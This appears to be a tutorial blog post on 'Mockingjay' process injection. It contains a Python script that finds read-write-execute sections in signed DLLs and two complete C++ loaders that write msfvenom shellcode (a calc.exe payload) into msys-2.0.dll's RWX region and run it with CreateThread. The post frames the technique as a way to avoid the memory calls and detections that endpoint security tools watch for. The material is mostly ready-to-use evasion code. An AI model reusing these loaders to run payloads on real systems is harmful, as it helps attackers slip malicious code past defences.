Mockingjay Injection

Common process injection methods typically involve the following steps:

  • Allocating memory in a target process (VirtualAllocEx)
  • Writing payload data (WriteProcessMemory)
  • Changing page permissions (VirtualProtectEx)
  • Starting execution (CreateRemoteThread, APCs, etc.)

These API calls and memory changes are well-known indicators that endpoint security products often monitor.

Mockingjay process injection abuses a legitimate DLL that already contains a memory section with Read-Write-Execute (RWX) permissions. By writing code into an existing executable memory region, the technique can avoid behaviours that security tools typically flag.


Identifying RWX Regions

First, we need to find a suitable executable that has a RWX region. The following Python code can be used to check that.

import pefile
import sys

IMAGE_SCN_MEM_EXECUTE = 0x20000000
IMAGE_SCN_MEM_READ    = 0x40000000
IMAGE_SCN_MEM_WRITE   = 0x80000000

def find_rwx_sections(pe_path):
    pe = pefile.PE(pe_path)

    found = False

    for section in pe.sections:
        chars = section.Characteristics

        is_rwx = (
            chars & IMAGE_SCN_MEM_EXECUTE and
            chars & IMAGE_SCN_MEM_READ and
            chars & IMAGE_SCN_MEM_WRITE
        )

        if is_rwx:
            found = True

            name = section.Name.decode(errors="ignore").rstrip("\x00")

            print(f"[+] RWX Section Found")
            print(f"    Name: {name}")
            print(f"    VA:   0x{section.VirtualAddress:08X}")
            print(f"    Size: 0x{section.Misc_VirtualSize:X}")
            print(f"    Characteristics: 0x{chars:08X}")
            print()

    if not found:
        print("[-] No RWX sections found.")

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <pe_file>")
        sys.exit(1)

    find_rwx_sections(sys.argv[1])

Running this code against msys-2.0.dll (which is packaged as part of Visual Studio 2022), we can see it has a region called .autoloa at virtual address 0x00202000.

python3 rwx_check.py msys-2.0.dll
[+] RWX Section Found
    Name: .autoloa
    VA:   0x00202000
    Size: 0x38F0
    Characteristics: 0xE0000020

Note that the file is digitally signed. This will assist with avoiding detection.

PS C:\Users\user\Desktop> Get-AuthenticodeSignature .\msys-2.0.dll


    Directory: C:\Users\user\Desktop


SignerCertificate                         Status                                 Path
-----------------                         ------                                 ----
587116075365AA15BCD8E4FA9CB31BE372B5DE51  Valid                                  msys-2.0.dll

Exploit Code

Since we have identified an RWX region in the DLL, we can use the following code to;

  • Load the target DLL using LoadLibraryA
  • Use WriteProcessMemory to write our payload
  • Call CreateThread to execute the code

This avoids any calls to either change an existing memory regions permissions, or allocating memory with suspicious permissions. Note, the offset to the RWX region is hardcoded.

#include <windows.h>
#include <TlHelp32.h>
#include <iostream>

#define VULNERABLE_DLL_RWX_OFFSET 0x202000 // RVA Address of .autoloa 

int main() {

    HMODULE hTargetDLL = LoadLibraryA("msys-2.0.dll");

    if (!hTargetDLL)
    {
        std::cerr << "Failed to load DLL\n";
        return 1;
    }

    std::cout << "DLL loaded\n";


    PVOID pTargetRwxSpace = (PVOID)((ULONG_PTR)hTargetDLL + VULNERABLE_DLL_RWX_OFFSET);
    std::cout << "[+] Found target RWX section at destination address: " << pTargetRwxSpace << "\n";

    std::cout << "Press Enter to continue...\n";
    getchar();

    //msfvenom - p windows / x64 / exec CMD = "calc.exe" - f C EXITFUNC = thread
    unsigned char shellcode[] =
        "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
        "\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
        "\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
        "\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
        "\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
        "\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
        "\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
        "\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
        "\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
        "\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
        "\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
        "\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
        "\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
        "\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
        "\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
        "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
        "\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
        "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
        "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
        "\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

   size_t shellcodeSize = sizeof(shellcode);


    HANDLE hProcess = GetCurrentProcess();

    // No calls to VirtualAllocEx or VirtualProtectEx here :)
    SIZE_T bytesWritten = 0;
    BOOL status = WriteProcessMemory(hProcess, pTargetRwxSpace, shellcode, shellcodeSize, &bytesWritten);

    if (status && bytesWritten == shellcodeSize) {
        std::cout << "[+] Successfully wrote code into existing trusted RWX section.\n";

        HANDLE hThread = CreateThread(
            nullptr,                                  
            0,                                         
            (LPTHREAD_START_ROUTINE)pTargetRwxSpace,   
            nullptr,                                   
            0,                                         
            nullptr                                    
        );

        if (hThread)
        {
            std::cout << "[+] Thread created.\n";

            WaitForSingleObject(hThread, INFINITE);

            DWORD exitCode;
            GetExitCodeThread(hThread, &exitCode);

            std::cout << "[+] Thread exited with code: "
                << exitCode << '\n';

            CloseHandle(hThread);
        }
        else
        {
            std::cout << "[-] CreateThread failed: "
                << GetLastError() << '\n';
        }


    }
    else {
        std::cerr << "[-] WriteProcessMemory failed. Error: " << GetLastError() << "\n";
    }

    CloseHandle(hProcess);
    FreeLibrary(hTargetDLL);

    return 0;
}

Dynamic Offset Retrieval

Instead of hardcoding the offset, we can use the Windows Debug Help library (dbghelp) to iterate over the DLL sections in our code. This is implemented in the FindRWXOffset function. This in turn calls IsRWXSection to determine if a section is set to RWX.

#include <windows.h>
#include <TlHelp32.h>
#include <iostream>
#include <dbghelp.h>
#pragma comment(lib, "Dbghelp.lib")


bool IsRWXSection(const IMAGE_SECTION_HEADER& section)
{
    DWORD flags = section.Characteristics;

    return (flags & IMAGE_SCN_MEM_READ) &&
        (flags & IMAGE_SCN_MEM_WRITE) &&
        (flags & IMAGE_SCN_MEM_EXECUTE);
}

DWORD_PTR FindRWXOffset(HMODULE module)
{
    auto* ntHeaders = ImageNtHeader(module);
    if (!ntHeaders)
        return 0;

    auto* sections = IMAGE_FIRST_SECTION(ntHeaders);

    for (WORD i = 0; i < ntHeaders->FileHeader.NumberOfSections; ++i)
    {
        if (!IsRWXSection(sections[i]))
            continue;

        return sections[i].VirtualAddress;
    }

    return 0;
}


int main() {

    HMODULE hTargetDLL = LoadLibraryA("msys-2.0.dll");

    if (!hTargetDLL)
    {
        std::cerr << "Failed to load DLL\n";
        return 1;
    }

    std::cout << "DLL loaded\n";

    PVOID pTargetRwxSpace = (PVOID)((ULONG_PTR)hTargetDLL + (ULONG_PTR)FindRWXOffset(hTargetDLL));
    std::cout << "[+] Found target RWX section at destination address: " << pTargetRwxSpace << "\n";

    std::cout << "Press Enter to continue...\n";
    getchar();

    //msfvenom - p windows / x64 / exec CMD = "calc.exe" - f C EXITFUNC = thread
    unsigned char shellcode[] =
        "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
        "\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
        "\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
        "\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
        "\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
        "\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
        "\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
        "\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
        "\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
        "\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
        "\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
        "\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
        "\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
        "\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
        "\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
        "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
        "\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
        "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
        "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
        "\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

   size_t shellcodeSize = sizeof(shellcode);


    HANDLE hProcess = GetCurrentProcess();

    // No calls to VirtualAllocEx or VirtualProtectEx here :)
    SIZE_T bytesWritten = 0;
    BOOL status = WriteProcessMemory(hProcess, pTargetRwxSpace, shellcode, shellcodeSize, &bytesWritten);

    if (status && bytesWritten == shellcodeSize) {
        std::cout << "[+] Successfully wrote code into existing trusted RWX section.\n";

        HANDLE hThread = CreateThread(
            nullptr,                                  
            0,                                         
            (LPTHREAD_START_ROUTINE)pTargetRwxSpace,  
            nullptr,                                   
            0,                                         
            nullptr                                    
        );

        if (hThread)
        {
            std::cout << "[+] Thread created.\n";

            WaitForSingleObject(hThread, INFINITE);

            DWORD exitCode;
            GetExitCodeThread(hThread, &exitCode);

            std::cout << "[+] Thread exited with code: "
                << exitCode << '\n';

            CloseHandle(hThread);
        }
        else
        {
            std::cout << "[-] CreateThread failed: "
                << GetLastError() << '\n';
        }


    }
    else {
        std::cerr << "[-] WriteProcessMemory failed. Error: " << GetLastError() << "\n";
    }

    CloseHandle(hProcess);
    FreeLibrary(hTargetDLL);

    return 0;
}

In Conclusion

The main benefit of this technique is avoiding suspicious memory permission alterations. However, compilers do not create RWX regions by default, so it’s rare to come across executables that meet this criteria.